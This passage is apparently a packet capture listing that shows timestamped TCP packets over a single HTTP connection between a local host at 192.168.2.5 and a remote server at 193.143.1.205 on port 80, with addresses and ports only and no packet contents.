Jan 11, 2025 08:29:59.591439009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.591469049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.593255043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.593269110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.601737976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.601798058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.601897001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.601913929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.601941109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.601953983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.601957083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.601974964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.601994991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.602138042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.602152109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.602168083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.602184057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.602191925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.602200031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.602214098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.602236986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.603976965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.666929007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.666959047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.666975021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667002916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667068005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667083979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667129040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.667152882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.667191982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667208910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667260885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.667345047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667361021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667376041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667398930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.667481899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667510986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667524099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.667526960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667542934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667561054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667584896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.667617083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.667711020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667726994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667772055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.667774916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667790890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667809010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667831898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.667968988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667984962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.667999029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.668015957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.668015957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.668035030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.699640989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.699670076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.699686050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.699703932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.699704885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.699733973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.699790001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.699806929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.699836969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.699919939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.699935913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.699949980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.699965954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.699970007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.700007915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.700103045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700119019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700150013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.700191021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700242043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.700244904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700277090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700324059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.700378895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700402021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700416088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700442076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.700472116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700516939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.700553894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700568914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700584888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700620890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.700685978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700740099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.700751066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700767040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700782061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700799942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.700803041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.700834036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.701018095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701033115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701050043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701090097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.701168060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701183081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701199055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701214075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701219082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.701253891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.701294899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701309919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701338053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.701447964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701463938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701478958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701493979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.701503992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701519012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701529026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.701534986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701551914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701565027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.701596975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.701791048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701935053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701948881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701966047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.701977015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.702013016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.702071905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702086926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702101946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702119112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702131033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.702152967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.702326059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702341080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702354908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702369928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702395916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702395916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.702410936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702428102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702435017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.702444077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702455997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.702461004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702491045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.702749014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702790022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.702811003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702851057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702864885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.702889919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.702984095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703025103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.703028917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703046083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703083038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.703229904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703246117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703263998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703279018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703290939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.703294039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703320980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703320980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.703376055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.703501940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703516960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703531981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703547955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703560114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.703563929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703582048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.703841925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703856945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703872919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.703882933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.703917027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.703999043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.704014063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.704030037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.704046965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.704049110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.704106092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.704222918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.704237938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.704253912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.704268932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.704282045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.704308033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.709786892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.716789961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.755928993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.755949974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.755978107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.755992889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756010056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756026030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756043911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756108046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.756143093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.756148100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756164074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756180048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756192923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.756227016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.756264925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756280899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756304979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756320953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756336927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.756380081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.756555080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756571054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756587982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756616116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.756726027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756741047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756756067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756772995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.756773949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756812096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.756856918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756880045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.756906986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.757014990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.757030964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.757057905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.757092953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.757116079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.757126093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.757131100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.757168055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.788526058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788541079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788557053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788589001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788604021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788614988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.788620949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788672924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.788718939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788733959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788794994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.788820982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788878918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788894892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.788932085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.788957119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789000034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.789021015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789083004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789098978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789124012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.789165974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789189100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789206028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.789278984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789304972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789320946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789321899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.789361954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.789463997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789479017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789499998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789515972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789524078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.789560080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.789604902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789621115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789659023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.789836884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789856911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789874077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789886951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789896011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.789936066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.789954901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.790014029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790030003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790054083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.790106058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790121078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790138006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790144920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.790154934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790182114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.790405989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790421963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790437937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790448904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.790456057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790471077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790482998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.790508032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.790642977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790658951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790677071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790695906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790720940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.790751934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.790757895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790776014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790791988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.790818930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.791032076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791059971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791074991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791076899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.791090965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791115046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791130066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791132927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.791146994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791162014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791168928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.791179895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791188002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.791224957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.791496038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791523933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791548967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791563988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791568041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.791595936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.791757107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791773081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791817904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.791838884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791855097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791871071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.791894913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.792009115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792022943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792038918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792048931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.792056084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792073011 CET	80	49704	193.143.1.205	192.168.2.5
